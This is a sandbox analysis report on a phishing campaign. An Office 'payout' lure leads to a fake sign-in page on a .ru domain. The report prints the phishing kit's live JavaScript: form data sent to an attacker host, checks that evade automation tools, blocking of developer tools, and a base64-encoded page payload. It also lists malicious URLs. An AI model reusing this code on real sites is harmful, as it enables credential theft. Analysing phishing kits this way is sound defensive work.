Excluded IPs from analysis (whitelisted): 52.109.76.240, 52.109.68.129, 23.56.254.164, 52.113.194.132, 199.232.210.172, 52.109.32.46, 52.109.32.39, 52.109.32.47, 52.109.32.38, 20.42.73.30, 95.100.110.68, 95.100.110.78, 64.233.184.84, 172.217.16.142, 142.250.185.227, 142.250.185.238, 142.250.181.238, 142.250.184.238, 40.126.31.73, 20.190.159.2, 20.190.159.0, 20.190.159.75, 20.190.159.4, 40.126.31.69, 20.190.159.23, 20.190.159.71, 13.107.6.156, 142.250.186.142, 142.250.186.174, 142.250.185.142, 142.250.185.170, 142.250.185.106, 216.58.212.170, 142.250.186.170, 216.58.206.74, 142.250.181.234, 142.250.185.138, 172.217.23.106, 216.58.212.138, 142.250.185.202, 142.250.184.202, 172.217.16.138, 142.250.185.74, 142.250.186.74, 142.250.185.234, 216.58.206.42, 20.50.80.209, 216.58.212.174, 172.217.18.110, 172.217.16.131, 23.33.46.5, 23.33.46.37, 142.250.185.206, 40.126.32.138, 4.245.163.56, 13.107.246.60, 13.107.246.67
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, fs-wildcard.microsoft.com.edgekey.net, ak.privatelink.msidentity.com, clients2.google.com, login.live.com, e16604.g.akamaiedge.net, update.googleapis.com, frc-azsc-000.roaming.officeapps.live.com, officeclient.microsoft.com, templatesmetadata.office.net, ecs.office.com, fs.microsoft.com, content-autofill.googleapis.com, aadcdnoriginwus2.azureedge.net, aadcdn.msauth.net, prod.roaming1.live.com.akadns.net, s-0005-office.config.skype.com, eu.events.data.trafficmanager.net, nleditor.osi.office.net, edgedl.me.gvt1.com, nel.measure.office.net.edgesuite.net, s-0005.s-msedge.net, aadcdnoriginwus2.afd.azureedge.net, onedscolprdeus18.eastus.cloudapp.azure.com, metadata.templates.cdn.office.net, ecs.office.trafficmanager.net, clients.l.google.com, europe.configsvc1.live.com.akadns.net, eu-mobile.events.data.microsoft.com, onedscolprdneu02.northeurope.cloudapp.azure.com, templatesmetadata.office.net.edgekey.net, home-
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Airbornemx_PAYOUT7370.odt

Input	Output
URL: https://microsoftonline.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoftonline.com
URL: https://oe3.welialicha.ru/xffUffYo/#Ktom.walker@ai... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The script collects user data and sends it to an unknown domain, and it also redirects the user to a Microsoft login page, which is likely a phishing attempt. The overall behavior of this script is highly suspicious and indicative of malicious intent." }
turnstile.render('#cf', { sitekey: '0x4AAAAAAA3SAmBnOucP6bMN', 'error-callback': LnxuaCSjcv, callback: vbjjBIvhuH, }); function LnxuaCSjcv() { turnstile.reset(); } function vbjjBIvhuH() { var NhHNilvEAy = document.getElementById("CrWNxBCCkQ"); NhHNilvEAy.onsubmit = function (event) { event.preventDefault(); }; document.getElementById("pagelink").value = 'o5t2t'; var saTccvRTmV = "../tvkYyc0mYIKciokhMyZ5gb0OyD3C9NSbJEMXI7im"; fetch('https://ftRh6jEbrVxyaiB9UlGVluF6VxZMogfIXbkXbWaSvZo9KPNhYPAmr.deryposi.ru/388206862612550gOYFLOtEMDNSGFJQAGQARAVMTFSTTVFZLMNFZGTR', { method: "GET", }).then(response => { return response.text() }).then(text => { if(text == 0){ fetch(saTccvRTmV, { method: "POST", body: new FormData(NhHNilvEAy) }).then(response => { return response.json(); }).then(data => { if(data['status'] == 'success'){ if(LgafmaYFSK == false){ location.reload(); } } if(data['status'] == 'error'){ window.location.replace('https://login.microsoftonline.com'); } }); } if(text != 0){ window.location.replace('https://login.microsoftonline.com'); } }) .catch(error => { window.location.replace('https://login.microsoftonline.com'); }); }
URL: https://oe3.welialicha.ru/xffUffYo/#Ktom.walker@ai... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script exhibits several high-risk behaviors, including detecting the presence of web automation tools, disabling common keyboard shortcuts, and redirecting the user to a suspicious domain. The script also includes a self-executing function that triggers a debugger and then redirects the user, which is a strong indicator of malicious intent." }
if (navigator.webdriver \|\| window.callPhantom \|\| window._phantom \|\| navigator.userAgent.includes("Burp")) { window.location = "about:blank"; } document.addEventListener('keydown', function(event) { if (event.keyCode === 123) { event.preventDefault(); return false; } if ( (event.ctrlKey && event.keyCode === 85) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 73) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 67) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 74) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 75) \|\| (event.ctrlKey && event.keyCode === 72) \|\| (event.metaKey && event.altKey && event.keyCode === 73) \|\| (event.metaKey && event.altKey && event.keyCode === 67) \|\| (event.metaKey && event.keyCode === 85) ) { event.preventDefault(); return false; } }); document.addEventListener('contextmenu', function(event) { event.preventDefault(); return false; }); LgafmaYFSK = false; (function MDWWUDnCKU() { let LWBysaVwfJ = false; const ZBuViohYOV = 100; setInterval(function() { const MCaWMIRCCF = performance.now(); debugger; const EWhdmkWQTB = performance.now(); if (EWhdmkWQTB - MCaWMIRCCF > ZBuViohYOV && !LWBysaVwfJ) { LgafmaYFSK = true; LWBysaVwfJ = true; window.location.replace('https://login.microsoftonline.com'); } }, 100); })();
URL: https://oe3.welialicha.ru/xffUffYo/#Ktom.walker@ai... Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "The provided JavaScript snippet exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. While the intent of the script is not entirely clear, the combination of these factors suggests a potentially malicious nature. Further investigation would be warranted to determine the full scope and purpose of this script." }
/* The only limit to our realization of tomorrow will be our doubts of today. */ if(atob("aHR0cHM6Ly9QQThDLndlbGlhbGljaGEucnUveGZmVWZmWW8v") == "nomatch"){ document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NyeXB0by1qcy80LjEuMS9jcnlwdG8tanMubWluLmpzIj48L3NjcmlwdD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+DQogICAgPHN0eWxlPg0KYm9keSB7DQogIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogIGhlaWdodDogMTAwJTsNCiAgb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCiNKUGFTWGxGZXhVIGg0e21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOi41cmVtO2ZvbnQtd2VpZ2h0OjUwMDtsaW5lLWhlaWdodDoxLjI7fQ0KI0pQYVNYbEZleFUgaDR7Zm9udC1zaXplOmNhbGMoMS4zKTt9DQpAbWVkaWEgKG1pbi13aWR0aDoxMjAwcHgpew0KI0pQYVNYbEZleFUgaDR7Zm9udC1zaXplOjEuNXJlbTt9DQp9DQojSlBhU1hsRmV4VSBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI0pQYVNYbEZleFUuY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogMTU0cHg7Lyp3aWR0aDogMTAwJTsqL3BhZGRpbmctcmlnaHQ6IHZhcigtLWJzLWd1dHRlci14LCAuNzVyZW0pO3BhZGRpbmctbGVmdDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7bWFyZ2luLXJpZ2h0OiBhdXRvO21hcmdpbi1sZWZ0OiBhdXRvO30NCiNKUGFTWGxGZXhVIC50ZXh0LWNlbnRlciB7dGV4dC1hbGlnbjogY2VudGVyIWltcG9ydGFudDt9DQpAbWVkaWEgKG1pbi13aWR0aDo5OTJweCl7DQojSlBhU1hsRmV4VSAuY29sLWxnLTR7ZmxleDowIDAgYXV0bzt3aWR0aDozMy4zMzMzMzMzMyU7fQ0KfQ0KI0pQYVNYbEZleFUgLmRpc3BsYXktNCB7Zm9udC1zaXplOiAxLjI1cmVtIWltcG9ydGFudDt9DQojSlBhU1hsRmV4VSAubXQtMiB7bWFyZ2luLXRvcDogMC41cmVtIWltcG9ydGFudDt9DQojSlBhU1hsRmV4VSAuaDQge2ZvbnQtc2l6ZTogY2FsYyguOTAwcmVtICsgLjN2dyk7fQ0KI0pQYVNYbEZleFUgLmp1c3RpZnktY29udGVudC1jZW50ZXJ7anVzdGlmeS1jb250ZW50OmNlbnRlciFpbXBvcnRhbnQ7fQ0KI0pQYVNYbEZleFUubXQtNXttYXJnaW4tdG9wOjNyZW0haW1wb3J0YW50O30NCiNKUGFTWGxGZXhVIC5tdC00IHttYXJnaW4tdG9wOiAxcmVtIWltcG9ydGFudDt9DQojSlBhU1hsRmV4VSAjck5NbkpSZ2hRaiB7Y29sb3I6ICM2Yzc1N2Q7Zm9udC1zaXplOjE0cHg7bWFyZ2luLXRvcDogLjVyZW07fQ0KICAgIDwvc3R5bGU+DQogICAgPHNjcmlwdD4NCiAgICBpZiAobmF2aWdhdG9yLndlYmRyaXZlciB8fCB3aW5kb3cuY2FsbFBoYW50b20gfHwgd2luZG93Ll9waGFudG9tIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5jbHVkZXMoIkJ1cnAiKSkgew0KICAgICAgICB3aW5kb3cubG9jYXRpb24gPSAiYWJvdXQ6YmxhbmsiOw0KfQ0KZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigna2V5ZG93bicsIGZ1bmN0aW9uKGV2ZW50KSB7DQogICAgaWYgKGV2ZW50LmtleUNvZGUgPT09IDEyMykgew0KICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgaWYgKA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5rZXlDb2RlID09PSA4NSkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzMpIHx8DQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LnNoaWZ0S2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDY3KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3NCkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzUpIHx8DQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDcyKSB8fA0KICAgICAgICAoZXZlbnQubWV0YUtleSAmJiBldmVudC5hbHRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzMpIHx8DQogICAgICAgIChldmVudC5tZXRhS2V5ICYmIGV2ZW50LmFsdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA2NykgfHwNCiAgICAgICAgKGV2ZW50Lm1ldGFLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gODUpDQogICAgKSB7DQogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQp9KTsNCmRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ2NvbnRleHRtZW51JywgZnVuY3Rpb24oZXZlbnQpIHsNCiAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgIHJldHVybiBmYWxzZTsNCn0pOw0KTGdhZm1hWUZTSyA9IGZhbHNlOw0KKGZ1bmN0aW9uIE1EV1dVRG5DS1UoKSB7DQogICAgbGV0IExXQnlzYVZ3ZkogPSBmYWxzZTsNCiAgICBjb25zdCBaQnVWaW9oWU9WID0gMTAwOw0KICAgIHNldEludGVydmFsKGZ1bmN0
URL: Office document Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "VIEW PAYOUT", "prominent_button_name": "VIEW PAYOUT", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://oe3.welialicha.ru/xffUffYo/#Ktom.walker@airbornemx.com Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://oe3.welialicha.ru/xffUffYo/#Ktom.walker@airbornemx.com Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: Office document Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://oe3.welialicha.ru/xffUffYo/#Ktom.walker@airbornemx.com Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://oe3.welialicha.ru/xffUffYo/#Ktom.walker@airbornemx.com Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2F Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Sign in", "prominent_button_name": "Next", "text_input_field_labels": [ "Email, phone, or Skype" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2F Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Sign in", "prominent_button_name": "Next", "text_input_field_labels": [ "Email, phone, or Skype" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2F Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2F Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: Screenshot id: 8 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "FINAL REMITTANCE SCHEDULED PAYOUT", "prominent_button_name": "VIEW PAYOUT", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: Screenshot id: 6 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "FINAL REMITTANCE SCHEDULED PAYOUT", "prominent_button_name": "VIEW PAYOUT", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: Screenshot id: 3 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "FINAL REMITTANCE SCHEDULED PAYOUT", "prominent_button_name": "VIEW PAYOUT", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: Screenshot id: 2 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "FINAL REMITTANCE SCHEDULED PAYOUT", "prominent_button_name": "VIEW PAYOUT", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: Screenshot id: 9 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "FINAL REMITTANCE SCHEDULED PAYOUT", "prominent_button_name": "VIEW PAYOUT", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: Screenshot id: 7 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "FINAL REMITTANCE SCHEDULED PAYOUT", "prominent_button_name": "VIEW PAYOUT", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: Screenshot id: 10 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "VIEW PAYOUT", "prominent_button_name": "VIEW PAYOUT", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: Screenshot id: 5 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "FINAL REMITTANCE SCHEDULED PAYOUT", "prominent_button_name": "VIEW PAYOUT", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: Screenshot id: 1 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": true, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: Screenshot id: 6 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 2 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 8 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 5 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 3 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 4 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "FINAL REMITTANCE SCHEDULED PAYOUT", "prominent_button_name": "VIEW PAYOUT", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: Screenshot id: 7 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 9 Model: Joe Sandbox AI	{ "brands": [ "Airbornemx" ] }
	{ "brands": [ "Airbornemx" ] }
URL: Screenshot id: 10 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 1 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: Screenshot id: 4 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.18.94.41	https://coggle.it/diagram/Z3zkZPAQxQkDOgmo/t/-/1f6434bfba7d8aab898b2531849681e8b0d7342489acbbff6b172f8658a09526	Get hash	malicious	Unknown	Browse
	Sales Acknowledgement - HES #982323.pdf	Get hash	malicious	Unknown	Browse
	https://docs.google.com/presentation/d/e/2PACX-1vT2PGn0zBbaptqxmzd37o4wD_789vdOk0IyvB9NJB93qGFh_af8Du5RuZX0G1lsycIP1UzhONEj31sn/pub?start=false&loop=false&delayms=3000	Get hash	malicious	Unknown	Browse
	https://e.trustifi.com/#/fff2a0/615048/6b9108/bb6bb8/0c4d40/10c266/f490c9/97ed1b/e8666a/ef542d/85972d/627493/9a11d6/1f4096/1d247f/85de28/9434d8/86c8f5/bcad02/214fc7/998ea3/f74550/f15e41/328dbb/f2d014/49d879/3689f7/91b4f6/9617cd/897401/851960/993266/280340/ae6054/337b49/6f0428/673840/abdb07/82b8be/00f4e1/3270c4/922952/b4db4e/e9dcee/3a01c5/962a76/930521/2e7fc6/514759/a95ca8/c37226/be9e63/3c4ec2/89148e/13fdfe/ea86c0/04048b/56ab74/dca15f/97696c/fa7912/512e28/fc9f59/50d13f/4f0114/039a8f/84bd72/2603b6/e0eceb/28f211/4fdb34/a1dc16/2076ef/8e55cf/8f9d2c/0d4402/f5a713/43ec64/fabda1/b6994c/da2da1/2851a8/b04ed3/8cea9a/1e21dc/0abaf5/7df73e/f39a96/1f2244/423c00/5c4e8d	Get hash	malicious	HTMLPhisher	Browse
	https://link.edgepilot.com/s/1b4c2fcb/nQHbBC0YQUOfuyi9X74dgg?u=https://url.usb.m.mimecastprotect.com/s/sZGCCm7Wwmt5092LsBiWSRG4Fz?domain=link.edgepilot.com	Get hash	malicious	Unknown	Browse
	https://t1.a.editions-legislatives.fr/r/?id=hfe20c57a%2C3602a3f1%2C7f94ba88&p1=//www.google.co.nz/url?q=k8pQvvqad5fe5yj7Y00xDjnlx9kIHvsdvds44vs4d4aAkImPuQvsdv44WtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRvdsvsdvswqyicT&sa=t&url=amp/yesmotoring.com.sg/upthere/running/8mspbf71i0mf51h0zfhwhu2z/cGhpbC5sZXNzYXJkQG1vZHVsYS5jb20=&ago=212&ao=817&aca=-11&si=-11&ci=-11&pi=-11&ad=-11&sv1=-11&advt=-11&chnl=-11&vndr=1363&sz=539&u=eTLPPreWarranty%7CConsumer&red=http://www.lampsplus.com/?sourceid=eTLPPreWarranty&cm_mmc=TRA-EM-_-LP-_-eTLPPreWarranty-_-tlogo&counterid=tlogo	Get hash	malicious	HTMLPhisher	Browse
	http://ib.adnxs.com/getuid?https%3a%2f%2fDaiichi-sankyo.uronfecit.ru/Hlnz62kK/#YWxleGFuZGVyLmJsYXp5Y3pla0BkYWlpY2hpLXNhbmt5by5kZQ==	Get hash	malicious	Unknown	Browse
	https://bs32c.golfercaps.com/vfd23ced/#sean@virtualintelligencebriefing.com	Get hash	malicious	HTMLPhisher	Browse
	https://app.saner.ai/shared/notes/7353e5ae-dd5f-410b-92c3-210c9e88052a	Get hash	malicious	HTMLPhisher	Browse
	Vernales Restaurant-encrypted.pdf	Get hash	malicious	HTMLPhisher	Browse
151.101.66.137	http://novo.oratoriomariano.com/novo/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-3.3.1.min.js
	http://facebooksecurity.blogspot.ch/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	http://site9615380.92.webydo.com/?v=1	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.2.min.js
	http://grandprairie-water-damage-restoration.com	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-3.3.1.min.js
	2023121142000021ki01kvjs.html	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-latest.min.js
104.18.95.41	https://email.garagesalefinder.com/c/eJyMU92OsjoUfZp6xwRaoO2FF-XPYT4VnXHQ8caUFivK3wcC-vYnzImc25OQlbXYa-_VJrtyniCCZ-ncwMg2KKWmPrvMCRWYGDSBBAkLnSGigttEUJpiLHRhzLK5JRHWEbE0wS1LkxzqmpnKRCMYcymIhUyJgKkr3nCVtjxPz1kp0-ZNVMUsn1_u9xogBmAAYDAMw5uqKpWnXLZp02cibUcfgEHNVcolgAEX-Q2goOUAeUsAbZ4B5Lma-bXS9YjEH8_jUsCMDFHdh-8V6xawX6ug4FFt3FtnCCFin8wJow2-DWulyU1_iVhfsfe8SpYtI8px_iiPHZXv8Movh2Cj-95Hcj0kV7urV6jyYvatjOfWaYZ2MRxIba6V3Jx55O3PcZmp2muai3lerzYyDgu0zWKnNlb-o7Sf7h6p70NxCvM23_41HfOEGuWGy9q9Hnlqfep7pO0Kfgrvm-rvV7zTOloie11_fJdEol2uDrr9xfmOPrr1Vr-IJWM_mXjnt9SPV5IVx53pOD-UrUI1qHwX-N2-JfHP9ThUm97B9z_nIOnjcuOGjloo51Iwxy6FckMA7bIrAPIMAG2RSYA8a5H18gTbKy737aLto4f-0GD3DaDdZgogj0WebZ6M8IN8ys_TY2eziPTBe70KjWKtt8gaxll5lpZ3gDzBtbpLNBsalBgGNrFuUoTHOC67JgfIGzehnVYBQAtjAC37l8GRuSOYU4G-pG2NgEYgk_ReFjwWsPli0J_MwSSdVxuc_v2bYU25I0BvMvvT0fBL_tdrsyktMAglv0Qs4o5D0vHD8ZIUFG4XwVMUFP0UQcef1jWBOkDea447drMR_PHuZATmTlIH0KIMQPP3-3_uWTOv0_JWvWU9L6semDpvmmpIeHn7fYv9HP4TAAD__7e2IkM	Get hash	malicious	HTMLPhisher	Browse
	Sales Acknowledgement - HES #982323.pdf	Get hash	malicious	Unknown	Browse
	https://e.trustifi.com/#/fff2a0/615048/6b9108/bb6bb8/0c4d40/10c266/f490c9/97ed1b/e8666a/ef542d/85972d/627493/9a11d6/1f4096/1d247f/85de28/9434d8/86c8f5/bcad02/214fc7/998ea3/f74550/f15e41/328dbb/f2d014/49d879/3689f7/91b4f6/9617cd/897401/851960/993266/280340/ae6054/337b49/6f0428/673840/abdb07/82b8be/00f4e1/3270c4/922952/b4db4e/e9dcee/3a01c5/962a76/930521/2e7fc6/514759/a95ca8/c37226/be9e63/3c4ec2/89148e/13fdfe/ea86c0/04048b/56ab74/dca15f/97696c/fa7912/512e28/fc9f59/50d13f/4f0114/039a8f/84bd72/2603b6/e0eceb/28f211/4fdb34/a1dc16/2076ef/8e55cf/8f9d2c/0d4402/f5a713/43ec64/fabda1/b6994c/da2da1/2851a8/b04ed3/8cea9a/1e21dc/0abaf5/7df73e/f39a96/1f2244/423c00/5c4e8d	Get hash	malicious	HTMLPhisher	Browse
	https://link.edgepilot.com/s/1b4c2fcb/nQHbBC0YQUOfuyi9X74dgg?u=https://url.usb.m.mimecastprotect.com/s/sZGCCm7Wwmt5092LsBiWSRG4Fz?domain=link.edgepilot.com	Get hash	malicious	Unknown	Browse
	https://t1.a.editions-legislatives.fr/r/?id=hfe20c57a%2C3602a3f1%2C7f94ba88&p1=//www.google.co.nz/url?q=k8pQvvqad5fe5yj7Y00xDjnlx9kIHvsdvds44vs4d4aAkImPuQvsdv44WtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRvdsvsdvswqyicT&sa=t&url=amp/yesmotoring.com.sg/upthere/running/8mspbf71i0mf51h0zfhwhu2z/cGhpbC5sZXNzYXJkQG1vZHVsYS5jb20=&ago=212&ao=817&aca=-11&si=-11&ci=-11&pi=-11&ad=-11&sv1=-11&advt=-11&chnl=-11&vndr=1363&sz=539&u=eTLPPreWarranty%7CConsumer&red=http://www.lampsplus.com/?sourceid=eTLPPreWarranty&cm_mmc=TRA-EM-_-LP-_-eTLPPreWarranty-_-tlogo&counterid=tlogo	Get hash	malicious	HTMLPhisher	Browse
